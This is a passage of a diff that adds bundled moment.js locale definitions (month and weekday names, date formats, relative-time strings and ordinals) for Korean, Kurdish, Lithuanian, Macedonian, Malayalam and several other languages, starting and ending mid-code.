+ return t[e] + }) + }, + meridiemParse: /ರಾತ್ರಿ|ಬೆಳಿಗ್ಗೆ|ಮಧ್ಯಾಹ್ನ|ಸಂಜೆ/, + meridiemHour: function (e, t) { + if (e === 12) { + e = 0 + } + if (t === "ರಾತ್ರಿ") { + return e < 4 ? e : e + 12 + } else if (t === "ಬೆಳಿಗ್ಗೆ") { + return e + } else if (t === "ಮಧ್ಯಾಹ್ನ") { + return e >= 10 ? e : e + 12 + } else if (t === "ಸಂಜೆ") { + return e + 12 + } + }, + meridiem: function (e, t, i) { + if (e < 4) { + return "ರಾತ್ರಿ" + } else if (e < 10) { + return "ಬೆಳಿಗ್ಗೆ" + } else if (e < 17) { + return "ಮಧ್ಯಾಹ್ನ" + } else if (e < 20) { + return "ಸಂಜೆ" + } else { + return "ರಾತ್ರಿ" + } + }, + dayOfMonthOrdinalParse: /\d{1,2}(ನೇ)/, + ordinal: function (e) { + return e + "ನೇ" + }, + week: { + dow: 0, + doy: 6 + } + }); + return n + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("ko", { + months: "1월_2월_3월_4월_5월_6월_7월_8월_9월_10월_11월_12월".split("_"), + monthsShort: "1월_2월_3월_4월_5월_6월_7월_8월_9월_10월_11월_12월".split("_"), + weekdays: "일요일_월요일_화요일_수요일_목요일_금요일_토요일".split("_"), + weekdaysShort: "일_월_화_수_목_금_토".split("_"), + weekdaysMin: "일_월_화_수_목_금_토".split("_"), + longDateFormat: { + LT: "A h:mm", + LTS: "A h:mm:ss", + L: "YYYY.MM.DD.", + LL: "YYYY년 MMMM D일", + LLL: "YYYY년 MMMM D일 A h:mm", + LLLL: "YYYY년 MMMM D일 dddd A h:mm", + l: "YYYY.MM.DD.", + ll: "YYYY년 MMMM D일", + lll: "YYYY년 MMMM D일 A h:mm", + llll: "YYYY년 MMMM D일 dddd A h:mm" + }, + calendar: { + sameDay: "오늘 LT", + nextDay: "내일 LT", + nextWeek: "dddd LT", + lastDay: "어제 LT", + lastWeek: "지난주 dddd LT", + sameElse: "L" + }, + relativeTime: { + future: "%s 후", + past: "%s 전", + s: "몇 초", + ss: "%d초", + m: "1분", + mm: "%d분", + h: "한 시간", + hh: "%d시간", + d: "하루", + dd: "%d일", + M: "한 달", + MM: "%d달", + y: "일 년", + yy: "%d년" + }, + dayOfMonthOrdinalParse: /\d{1,2}(일|월|주)/, + ordinal: function (e, t) { + switch (t) { + case "d": + case "D": + case "DDD": + return e + "일"; + case "M": + return e + "월"; + case "w": + case "W": + return e + "주"; + default: + return e + } + }, + meridiemParse: /오전|오후/, + isPM: function (e) { + return e === "오후" + }, + meridiem: function (e, t, i) { + return e < 12 ? "오전" : "오후" + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + 1: "١", + 2: "٢", + 3: "٣", + 4: "٤", + 5: "٥", + 6: "٦", + 7: "٧", + 8: "٨", + 9: "٩", + 0: "٠" + }, + i = { + "١": "1", + "٢": "2", + "٣": "3", + "٤": "4", + "٥": "5", + "٦": "6", + "٧": "7", + "٨": "8", + "٩": "9", + "٠": "0" + }, + n = ["کانونی دووەم", "شوبات", "ئازار", "نیسان", "ئایار", "حوزەیران", "تەمموز", "ئاب", "ئەیلوول", "تشرینی یەكەم", "تشرینی دووەم", "كانونی یەکەم"]; + var r = e.defineLocale("ku", { + months: n, + monthsShort: n, + weekdays: "یه‌كشه‌ممه‌_دووشه‌ممه‌_سێشه‌ممه‌_چوارشه‌ممه‌_پێنجشه‌ممه‌_هه‌ینی_شه‌ممه‌".split("_"), + weekdaysShort: "یه‌كشه‌م_دووشه‌م_سێشه‌م_چوارشه‌م_پێنجشه‌م_هه‌ینی_شه‌ممه‌".split("_"), + weekdaysMin: "ی_د_س_چ_پ_ه_ش".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd, D MMMM YYYY HH:mm" + }, + meridiemParse: /ئێواره‌|به‌یانی/, + isPM: function (e) { + return /ئێواره‌/.test(e) + }, + meridiem: function (e, t, i) { + if (e < 12) { + return "به‌یانی" + } else { + return "ئێواره‌" + } + }, + calendar: { + sameDay: "[ئه‌مرۆ كاتژمێر] LT", + nextDay: "[به‌یانی كاتژمێر] LT", + nextWeek: "dddd [كاتژمێر] LT", + lastDay: "[دوێنێ كاتژمێر] LT", + lastWeek: "dddd [كاتژمێر] LT", + sameElse: "L" + }, + relativeTime: { + future: "له‌ %s", + past: "%s", + s: "چه‌ند چركه‌یه‌ك", + ss: "چركه‌ %d", + m: "یه‌ك خوله‌ك", + mm: "%d خوله‌ك", + h: "یه‌ك كاتژمێر", + hh: "%d كاتژمێر", + d: "یه‌ك ڕۆژ", + dd: "%d ڕۆژ", + M: "یه‌ك مانگ", + MM: "%d مانگ", + y: "یه‌ك ساڵ", + yy: "%d ساڵ" + }, + preparse: function (e) { + return e.replace(/[١٢٣٤٥٦٧٨٩٠]/g, function (e) { + return i[e] + }).replace(/،/g, ",") + }, + postformat: function (e) { + return e.replace(/\d/g, function (e) { + return t[e] + }).replace(/,/g, "،") + }, + week: { + dow: 6, + doy: 12 + } + }); + return r + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + 0: "-чү", + 1: "-чи", + 2: "-чи", + 3: "-чү", + 4: "-чү", + 5: "-чи", + 6: "-чы", + 7: "-чи", + 8: "-чи", + 9: "-чу", + 10: "-чу", + 20: "-чы", + 30: "-чу", + 40: "-чы", + 50: "-чү", + 60: "-чы", + 70: "-чи", + 80: "-чи", + 90: "-чу", + 100: "-чү" + }; + var i = e.defineLocale("ky", { + months: "январь_февраль_март_апрель_май_июнь_июль_август_сентябрь_октябрь_ноябрь_декабрь".split("_"), + monthsShort: "янв_фев_март_апр_май_июнь_июль_авг_сен_окт_ноя_дек".split("_"), + weekdays: "Жекшемби_Дүйшөмбү_Шейшемби_Шаршемби_Бейшемби_Жума_Ишемби".split("_"), + weekdaysShort: "Жек_Дүй_Шей_Шар_Бей_Жум_Ише".split("_"), + weekdaysMin: "Жк_Дй_Шй_Шр_Бй_Жм_Иш".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD.MM.YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd, D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[Бүгүн саат] LT", + nextDay: "[Эртең саат] LT", + nextWeek: "dddd [саат] LT", + lastDay: "[Кечээ саат] LT", + lastWeek: "[Өткөн аптанын] dddd [күнү] [саат] LT", + sameElse: "L" + }, + relativeTime: { + future: "%s ичинде", + past: "%s мурун", + s: "бирнече секунд", + ss: "%d секунд", + m: "бир мүнөт", + mm: "%d мүнөт", + h: "бир саат", + hh: "%d саат", + d: "бир күн", + dd: "%d күн", + M: "бир ай", + MM: "%d ай", + y: "бир жыл", + yy: "%d жыл" + }, + dayOfMonthOrdinalParse: /\d{1,2}-(чи|чы|чү|чу)/, + ordinal: function (e) { + var i = e % 10, + n = e >= 100 ? 100 : null; + return e + (t[e] || t[i] || t[n]) + }, + week: { + dow: 1, + doy: 7 + } + }); + return i + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + + function t(e, t, i, n) { + var r = { + m: ["eng Minutt", "enger Minutt"], + h: ["eng Stonn", "enger Stonn"], + d: ["een Dag", "engem Dag"], + M: ["ee Mount", "engem Mount"], + y: ["ee Joer", "engem Joer"] + }; + return t ? r[i][0] : r[i][1] + } + + function i(e) { + var t = e.substr(0, e.indexOf(" ")); + if (r(t)) { + return "a " + e + } + return "an " + e + } + + function n(e) { + var t = e.substr(0, e.indexOf(" ")); + if (r(t)) { + return "viru " + e + } + return "virun " + e + } + + function r(e) { + e = parseInt(e, 10); + if (isNaN(e)) { + return false + } + if (e < 0) { + return true + } else if (e < 10) { + if (4 <= e && e <= 7) { + return true + } + return false + } else if (e < 100) { + var t = e % 10, + i = e / 10; + if (t === 0) { + return r(i) + } + return r(t) + } else if (e < 1e4) { + while (e >= 10) { + e = e / 10 + } + return r(e) + } else { + e = e / 1e3; + return r(e) + } + } + var a = e.defineLocale("lb", { + months: "Januar_Februar_Mäerz_Abrëll_Mee_Juni_Juli_August_September_Oktober_November_Dezember".split("_"), + monthsShort: "Jan._Febr._Mrz._Abr._Mee_Jun._Jul._Aug._Sept._Okt._Nov._Dez.".split("_"), + monthsParseExact: true, + weekdays: "Sonndeg_Méindeg_Dënschdeg_Mëttwoch_Donneschdeg_Freideg_Samschdeg".split("_"), + weekdaysShort: "So._Mé._Dë._Më._Do._Fr._Sa.".split("_"), + weekdaysMin: "So_Mé_Dë_Më_Do_Fr_Sa".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "H:mm [Auer]", + LTS: "H:mm:ss [Auer]", + L: "DD.MM.YYYY", + LL: "D. MMMM YYYY", + LLL: "D. MMMM YYYY H:mm [Auer]", + LLLL: "dddd, D. MMMM YYYY H:mm [Auer]" + }, + calendar: { + sameDay: "[Haut um] LT", + sameElse: "L", + nextDay: "[Muer um] LT", + nextWeek: "dddd [um] LT", + lastDay: "[Gëschter um] LT", + lastWeek: function () { + switch (this.day()) { + case 2: + case 4: + return "[Leschten] dddd [um] LT"; + default: + return "[Leschte] dddd [um] LT" + } + } + }, + relativeTime: { + future: i, + past: n, + s: "e puer Sekonnen", + ss: "%d Sekonnen", + m: t, + mm: "%d Minutten", + h: t, + hh: "%d Stonnen", + d: t, + dd: "%d Deeg", + M: t, + MM: "%d Méint", + y: t, + yy: "%d Joer" + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 4 + } + }); + return a + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("lo", { + months: "ມັງກອນ_ກຸມພາ_ມີນາ_ເມສາ_ພຶດສະພາ_ມິຖຸນາ_ກໍລະກົດ_ສິງຫາ_ກັນຍາ_ຕຸລາ_ພະຈິກ_ທັນວາ".split("_"), + monthsShort: "ມັງກອນ_ກຸມພາ_ມີນາ_ເມສາ_ພຶດສະພາ_ມິຖຸນາ_ກໍລະກົດ_ສິງຫາ_ກັນຍາ_ຕຸລາ_ພະຈິກ_ທັນວາ".split("_"), + weekdays: "ອາທິດ_ຈັນ_ອັງຄານ_ພຸດ_ພະຫັດ_ສຸກ_ເສົາ".split("_"), + weekdaysShort: "ທິດ_ຈັນ_ອັງຄານ_ພຸດ_ພະຫັດ_ສຸກ_ເສົາ".split("_"), + weekdaysMin: "ທ_ຈ_ອຄ_ພ_ພຫ_ສກ_ສ".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "ວັນdddd D MMMM YYYY HH:mm" + }, + meridiemParse: /ຕອນເຊົ້າ|ຕອນແລງ/, + isPM: function (e) { + return e === "ຕອນແລງ" + }, + meridiem: function (e, t, i) { + if (e < 12) { + return "ຕອນເຊົ້າ" + } else { + return "ຕອນແລງ" + } + }, + calendar: { + sameDay: "[ມື້ນີ້ເວລາ] LT", + nextDay: "[ມື້ອື່ນເວລາ] LT", + nextWeek: "[ວັນ]dddd[ໜ້າເວລາ] LT", + lastDay: "[ມື້ວານນີ້ເວລາ] LT", + lastWeek: "[ວັນ]dddd[ແລ້ວນີ້ເວລາ] LT", + sameElse: "L" + }, + relativeTime: { + future: "ອີກ %s", + past: "%sຜ່ານມາ", + s: "ບໍ່ເທົ່າໃດວິນາທີ", + ss: "%d ວິນາທີ", + m: "1 ນາທີ", + mm: "%d ນາທີ", + h: "1 ຊົ່ວໂມງ", + hh: "%d ຊົ່ວໂມງ", + d: "1 ມື້", + dd: "%d ມື້", + M: "1 ເດືອນ", + MM: "%d ເດືອນ", + y: "1 ປີ", + yy: "%d ປີ" + }, + dayOfMonthOrdinalParse: /(ທີ່)\d{1,2}/, + ordinal: function (e) { + return "ທີ່" + e + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + ss: "sekundė_sekundžių_sekundes", + m: "minutė_minutės_minutę", + mm: "minutės_minučių_minutes", + h: "valanda_valandos_valandą", + hh: "valandos_valandų_valandas", + d: "diena_dienos_dieną", + dd: "dienos_dienų_dienas", + M: "mėnuo_mėnesio_mėnesį", + MM: "mėnesiai_mėnesių_mėnesius", + y: "metai_metų_metus", + yy: "metai_metų_metus" + }; + + function i(e, t, i, n) { + if (t) { + return "kelios sekundės" + } else { + return n ? "kelių sekundžių" : "kelias sekundes" + } + } + + function n(e, t, i, n) { + return t ? a(i)[0] : n ? a(i)[1] : a(i)[2] + } + + function r(e) { + return e % 10 === 0 || e > 10 && e < 20 + } + + function a(e) { + return t[e].split("_") + } + + function s(e, t, i, s) { + var o = e + " "; + if (e === 1) { + return o + n(e, t, i[0], s) + } else if (t) { + return o + (r(e) ? a(i)[1] : a(i)[0]) + } else { + if (s) { + return o + a(i)[1] + } else { + return o + (r(e) ? a(i)[1] : a(i)[2]) + } + } + } + var o = e.defineLocale("lt", { + months: { + format: "sausio_vasario_kovo_balandžio_gegužės_birželio_liepos_rugpjūčio_rugsėjo_spalio_lapkričio_gruodžio".split("_"), + standalone: "sausis_vasaris_kovas_balandis_gegužė_birželis_liepa_rugpjūtis_rugsėjis_spalis_lapkritis_gruodis".split("_"), + isFormat: /D[oD]?(\[[^\[\]]*\]|\s)+MMMM?|MMMM?(\[[^\[\]]*\]|\s)+D[oD]?/ + }, + monthsShort: "sau_vas_kov_bal_geg_bir_lie_rgp_rgs_spa_lap_grd".split("_"), + weekdays: { + format: "sekmadienį_pirmadienį_antradienį_trečiadienį_ketvirtadienį_penktadienį_šeštadienį".split("_"), + standalone: "sekmadienis_pirmadienis_antradienis_trečiadienis_ketvirtadienis_penktadienis_šeštadienis".split("_"), + isFormat: /dddd HH:mm/ + }, + weekdaysShort: "Sek_Pir_Ant_Tre_Ket_Pen_Šeš".split("_"), + weekdaysMin: "S_P_A_T_K_Pn_Š".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "YYYY-MM-DD", + LL: "YYYY [m.] MMMM D [d.]", + LLL: "YYYY [m.] MMMM D [d.], HH:mm [val.]", + LLLL: "YYYY [m.] MMMM D [d.], dddd, HH:mm [val.]", + l: "YYYY-MM-DD", + ll: "YYYY [m.] MMMM D [d.]", + lll: "YYYY [m.] MMMM D [d.], HH:mm [val.]", + llll: "YYYY [m.] MMMM D [d.], ddd, HH:mm [val.]" + }, + calendar: { + sameDay: "[Šiandien] LT", + nextDay: "[Rytoj] LT", + nextWeek: "dddd LT", + lastDay: "[Vakar] LT", + lastWeek: "[Praėjusį] dddd LT", + sameElse: "L" + }, + relativeTime: { + future: "po %s", + past: "prieš %s", + s: i, + ss: s, + m: n, + mm: s, + h: n, + hh: s, + d: n, + dd: s, + M: n, + MM: s, + y: n, + yy: s + }, + dayOfMonthOrdinalParse: /\d{1,2}-oji/, + ordinal: function (e) { + return e + "-oji" + }, + week: { + dow: 1, + doy: 4 + } + }); + return o + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + ss: "sekundes_sekundēm_sekunde_sekundes".split("_"), + m: "minūtes_minūtēm_minūte_minūtes".split("_"), + mm: "minūtes_minūtēm_minūte_minūtes".split("_"), + h: "stundas_stundām_stunda_stundas".split("_"), + hh: "stundas_stundām_stunda_stundas".split("_"), + d: "dienas_dienām_diena_dienas".split("_"), + dd: "dienas_dienām_diena_dienas".split("_"), + M: "mēneša_mēnešiem_mēnesis_mēneši".split("_"), + MM: "mēneša_mēnešiem_mēnesis_mēneši".split("_"), + y: "gada_gadiem_gads_gadi".split("_"), + yy: "gada_gadiem_gads_gadi".split("_") + }; + + function i(e, t, i) { + if (i) { + return t % 10 === 1 && t % 100 !== 11 ? e[2] : e[3] + } else { + return t % 10 === 1 && t % 100 !== 11 ? e[0] : e[1] + } + } + + function n(e, n, r) { + return e + " " + i(t[r], e, n) + } + + function r(e, n, r) { + return i(t[r], e, n) + } + + function a(e, t) { + return t ? "dažas sekundes" : "dažām sekundēm" + } + var s = e.defineLocale("lv", { + months: "janvāris_februāris_marts_aprīlis_maijs_jūnijs_jūlijs_augusts_septembris_oktobris_novembris_decembris".split("_"), + monthsShort: "jan_feb_mar_apr_mai_jūn_jūl_aug_sep_okt_nov_dec".split("_"), + weekdays: "svētdiena_pirmdiena_otrdiena_trešdiena_ceturtdiena_piektdiena_sestdiena".split("_"), + weekdaysShort: "Sv_P_O_T_C_Pk_S".split("_"), + weekdaysMin: "Sv_P_O_T_C_Pk_S".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD.MM.YYYY.", + LL: "YYYY. [gada] D. MMMM", + LLL: "YYYY. [gada] D. MMMM, HH:mm", + LLLL: "YYYY. [gada] D. MMMM, dddd, HH:mm" + }, + calendar: { + sameDay: "[Šodien pulksten] LT", + nextDay: "[Rīt pulksten] LT", + nextWeek: "dddd [pulksten] LT", + lastDay: "[Vakar pulksten] LT", + lastWeek: "[Pagājušā] dddd [pulksten] LT", + sameElse: "L" + }, + relativeTime: { + future: "pēc %s", + past: "pirms %s", + s: a, + ss: n, + m: r, + mm: n, + h: r, + hh: n, + d: r, + dd: n, + M: r, + MM: n, + y: r, + yy: n + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 4 + } + }); + return s + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + words: { + ss: ["sekund", "sekunda", "sekundi"], + m: ["jedan minut", "jednog minuta"], + mm: ["minut", "minuta", "minuta"], + h: ["jedan sat", "jednog sata"], + hh: ["sat", "sata", "sati"], + dd: ["dan", "dana", "dana"], + MM: ["mjesec", "mjeseca", "mjeseci"], + yy: ["godina", "godine", "godina"] + }, + correctGrammaticalCase: function (e, t) { + return e === 1 ? t[0] : e >= 2 && e <= 4 ? t[1] : t[2] + }, + translate: function (e, i, n) { + var r = t.words[n]; + if (n.length === 1) { + return i ? r[0] : r[1] + } else { + return e + " " + t.correctGrammaticalCase(e, r) + } + } + }; + var i = e.defineLocale("me", { + months: "januar_februar_mart_april_maj_jun_jul_avgust_septembar_oktobar_novembar_decembar".split("_"), + monthsShort: "jan._feb._mar._apr._maj_jun_jul_avg._sep._okt._nov._dec.".split("_"), + monthsParseExact: true, + weekdays: "nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota".split("_"), + weekdaysShort: "ned._pon._uto._sri._čet._pet._sub.".split("_"), + weekdaysMin: "ne_po_ut_sr_če_pe_su".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "H:mm", + LTS: "H:mm:ss", + L: "DD.MM.YYYY", + LL: "D. MMMM YYYY", + LLL: "D. MMMM YYYY H:mm", + LLLL: "dddd, D. MMMM YYYY H:mm" + }, + calendar: { + sameDay: "[danas u] LT", + nextDay: "[sjutra u] LT", + nextWeek: function () { + switch (this.day()) { + case 0: + return "[u] [nedjelju] [u] LT"; + case 3: + return "[u] [srijedu] [u] LT"; + case 6: + return "[u] [subotu] [u] LT"; + case 1: + case 2: + case 4: + case 5: + return "[u] dddd [u] LT" + } + }, + lastDay: "[juče u] LT", + lastWeek: function () { + var e = ["[prošle] [nedjelje] [u] LT", "[prošlog] [ponedjeljka] [u] LT", "[prošlog] [utorka] [u] LT", "[prošle] [srijede] [u] LT", "[prošlog] [četvrtka] [u] LT", "[prošlog] [petka] [u] LT", "[prošle] [subote] [u] LT"]; + return e[this.day()] + }, + sameElse: "L" + }, + relativeTime: { + future: "za %s", + past: "prije %s", + s: "nekoliko sekundi", + ss: t.translate, + m: t.translate, + mm: t.translate, + h: t.translate, + hh: t.translate, + d: "dan", + dd: t.translate, + M: "mjesec", + MM: t.translate, + y: "godinu", + yy: t.translate + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 7 + } + }); + return i + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("mi", { + months: "Kohi-tāte_Hui-tanguru_Poutū-te-rangi_Paenga-whāwhā_Haratua_Pipiri_Hōngoingoi_Here-turi-kōkā_Mahuru_Whiringa-ā-nuku_Whiringa-ā-rangi_Hakihea".split("_"), + monthsShort: "Kohi_Hui_Pou_Pae_Hara_Pipi_Hōngoi_Here_Mahu_Whi-nu_Whi-ra_Haki".split("_"), + monthsRegex: /(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i, + monthsStrictRegex: /(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i, + monthsShortRegex: /(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i, + monthsShortStrictRegex: /(?:['a-z\u0101\u014D\u016B]+\-?){1,2}/i, + weekdays: "Rātapu_Mane_Tūrei_Wenerei_Tāite_Paraire_Hātarei".split("_"), + weekdaysShort: "Ta_Ma_Tū_We_Tāi_Pa_Hā".split("_"), + weekdaysMin: "Ta_Ma_Tū_We_Tāi_Pa_Hā".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY [i] HH:mm", + LLLL: "dddd, D MMMM YYYY [i] HH:mm" + }, + calendar: { + sameDay: "[i teie mahana, i] LT", + nextDay: "[apopo i] LT", + nextWeek: "dddd [i] LT", + lastDay: "[inanahi i] LT", + lastWeek: "dddd [whakamutunga i] LT", + sameElse: "L" + }, + relativeTime: { + future: "i roto i %s", + past: "%s i mua", + s: "te hēkona ruarua", + ss: "%d hēkona", + m: "he meneti", + mm: "%d meneti", + h: "te haora", + hh: "%d haora", + d: "he ra", + dd: "%d ra", + M: "he marama", + MM: "%d marama", + y: "he tau", + yy: "%d tau" + }, + dayOfMonthOrdinalParse: /\d{1,2}º/, + ordinal: "%dº", + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("mk", { + months: "јануари_февруари_март_април_мај_јуни_јули_август_септември_октомври_ноември_декември".split("_"), + monthsShort: "јан_фев_мар_апр_мај_јун_јул_авг_сеп_окт_ное_дек".split("_"), + weekdays: "недела_понеделник_вторник_среда_четврток_петок_сабота".split("_"), + weekdaysShort: "нед_пон_вто_сре_чет_пет_саб".split("_"), + weekdaysMin: "нe_пo_вт_ср_че_пе_сa".split("_"), + longDateFormat: { + LT: "H:mm", + LTS: "H:mm:ss", + L: "D.MM.YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY H:mm", + LLLL: "dddd, D MMMM YYYY H:mm" + }, + calendar: { + sameDay: "[Денес во] LT", + nextDay: "[Утре во] LT", + nextWeek: "[Во] dddd [во] LT", + lastDay: "[Вчера во] LT", + lastWeek: function () { + switch (this.day()) { + case 0: + case 3: + case 6: + return "[Изминатата] dddd [во] LT"; + case 1: + case 2: + case 4: + case 5: + return "[Изминатиот] dddd [во] LT" + } + }, + sameElse: "L" + }, + relativeTime: { + future: "после %s", + past: "пред %s", + s: "неколку секунди", + ss: "%d секунди", + m: "минута", + mm: "%d минути", + h: "час", + hh: "%d часа", + d: "ден", + dd: "%d дена", + M: "месец", + MM: "%d месеци", + y: "година", + yy: "%d години" + }, + dayOfMonthOrdinalParse: /\d{1,2}-(ев|ен|ти|ви|ри|ми)/, + ordinal: function (e) { + var t = e % 10, + i = e % 100; + if (e === 0) { + return e + "-ев" + } else if (i === 0) { + return e + "-ен" + } else if (i > 10 && i < 20) { + return e + "-ти" + } else if (t === 1) { + return e + "-ви" + } else if (t === 2) { + return e + "-ри" + } else if (t === 7 || t === 8) { + return e + "-ми" + } else { + return e + "-ти" + } + }, + week: { + dow: 1, + doy: 7 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("ml", { + months: "ജനുവരി_ഫെബ്രുവരി_മാർച്ച്_ഏപ്രിൽ_മേയ്_ജൂൺ_ജൂലൈ_ഓഗസ്റ്റ്_സെപ്റ്റംബർ_ഒക്ടോബർ_നവംബർ_ഡിസംബർ".split("_"), + monthsShort: "ജനു._ഫെബ്രു._മാർ._ഏപ്രി._മേയ്_ജൂൺ_ജൂലൈ._ഓഗ._സെപ്റ്റ._ഒക്ടോ._നവം._ഡിസം.".split("_"), + monthsParseExact: true, + weekdays: "ഞായറാഴ്ച_തിങ്കളാഴ്ച_ചൊവ്വാഴ്ച_ബുധനാഴ്ച_വ്യാഴാഴ്ച_വെള്ളിയാഴ്ച_ശനിയാഴ്ച".split("_"), + weekdaysShort: "ഞായർ_തിങ്കൾ_ചൊവ്വ_ബുധൻ_വ്യാഴം_വെള്ളി_ശനി".split("_"), + weekdaysMin: "ഞാ_തി_ചൊ_ബു_വ്യാ_വെ_ശ".split("_"), + longDateFormat: { + LT: "A h:mm -നു", + LTS: "A h:mm:ss -നു", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY, A h:mm -നു", + LLLL: "dddd, D MMMM YYYY, A h:mm -നു" + }, + calendar: { + sameDay: "[ഇന്ന്] LT", + nextDay: "[നാളെ] LT", + nextWeek: "dddd, LT", + lastDay: "[ഇന്നലെ] LT", + lastWeek: "[കഴിഞ്ഞ] dddd, LT", + sameElse: "L" + }, + relativeTime: { + future: "%s കഴിഞ്ഞ്", + past: "%s മുൻപ്", + s: "അൽപ നിമിഷങ്ങൾ", + ss: "%d സെക്കൻഡ്", + m: "ഒരു മിനിറ്റ്", + mm: "%d മിനിറ്റ്", + h: "ഒരു മണിക്കൂർ", + hh: "%d മണിക്കൂർ", + d: "ഒരു ദിവസം", + dd: "%d ദിവസം", + M: "ഒരു മാസം", + MM: "%d മാസം", + y: "ഒരു വർഷം", + yy: "%d വർഷം" + }, + meridiemParse: /രാത്രി|രാവിലെ|ഉച്ച കഴിഞ്ഞ്|വൈകുന്നേരം|രാത്രി/i, + meridiemHour: function (e, t) { + if (e === 12) { + e = 0 + } + if (t === "രാത്രി" && e >= 4 || t === "ഉച്ച കഴിഞ്ഞ്" || t === "വൈകുന്നേരം") { + return e + 12 + } else { + return e + } + }, + meridiem: function (e, t, i) { + if (e < 4) { + return "രാത്രി" + } else if (e < 12) { + return "രാവിലെ" + } else if (e < 17) { + return "ഉച്ച കഴിഞ്ഞ്" + } else if (e < 20) { + return "വൈകുന്നേരം" + } else { + return "രാത്രി" + } + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + + function t(e, t, i, n) { + switch (i) { + case "s": + return t ? "хэдхэн секунд" : "хэдхэн секундын"; + case "ss": + return e + (t ? " секунд" : " секундын"); + case "m": + case "mm": + return e + (t ? " минут" : " минутын"); + case "h": + case "hh": + return e + (t ? " цаг" : " цагийн"); + case "d": + case "dd": + return e + (t ? " өдөр" : " өдрийн"); + case "M": + case "MM": + return e + (t ? " сар" : " сарын"); + case "y": + case "yy": + return e + (t ? " жил" : " жилийн"); + default: + return e + } + } + var i = e.defineLocale("mn", { + months: "Нэгдүгээр сар_Хоёрдугаар сар_Гуравдугаар сар_Дөрөвдүгээр сар_Тавдугаар сар_Зургадугаар сар_Долдугаар сар_Наймдугаар сар_Есдүгээр сар_Аравдугаар сар_Арван нэгдүгээр сар_Арван хоёрдугаар сар".split("_"), + monthsShort: "1 сар_2 сар_3 сар_4 сар_5 сар_6 сар_7 сар_8 сар_9 сар_10 сар_11 сар_12 сар".split("_"), + monthsParseExact: true, + weekdays: "Ням_Даваа_Мягмар_Лхагва_Пүрэв_Баасан_Бямба".split("_"), + weekdaysShort: "Ням_Дав_Мяг_Лха_Пүр_Баа_Бям".split("_"), + weekdaysMin: "Ня_Да_Мя_Лх_Пү_Ба_Бя".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "YYYY-MM-DD", + LL: "YYYY оны MMMMын D", + LLL: "YYYY оны MMMMын D HH:mm", + LLLL: "dddd, YYYY оны MMMMын D HH:mm" + }, + meridiemParse: /ҮӨ|ҮХ/i, + isPM: function (e) { + return e === "ҮХ" + }, + meridiem: 